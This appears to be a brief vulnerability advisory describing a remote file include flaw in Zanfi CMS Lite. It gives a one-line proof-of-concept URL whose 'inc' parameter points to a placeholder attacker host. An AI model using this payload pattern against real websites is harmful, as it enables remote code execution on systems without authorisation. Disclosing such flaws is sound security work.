• info
• discussion
• exploit
• solution
• references

Zanfi CMS Lite Remote File Include Vulnerability

An exploit is not required to leverage this issue.

The following proof of concept example is available:
http://www.example.com/index.php?inc=http://[Attacker]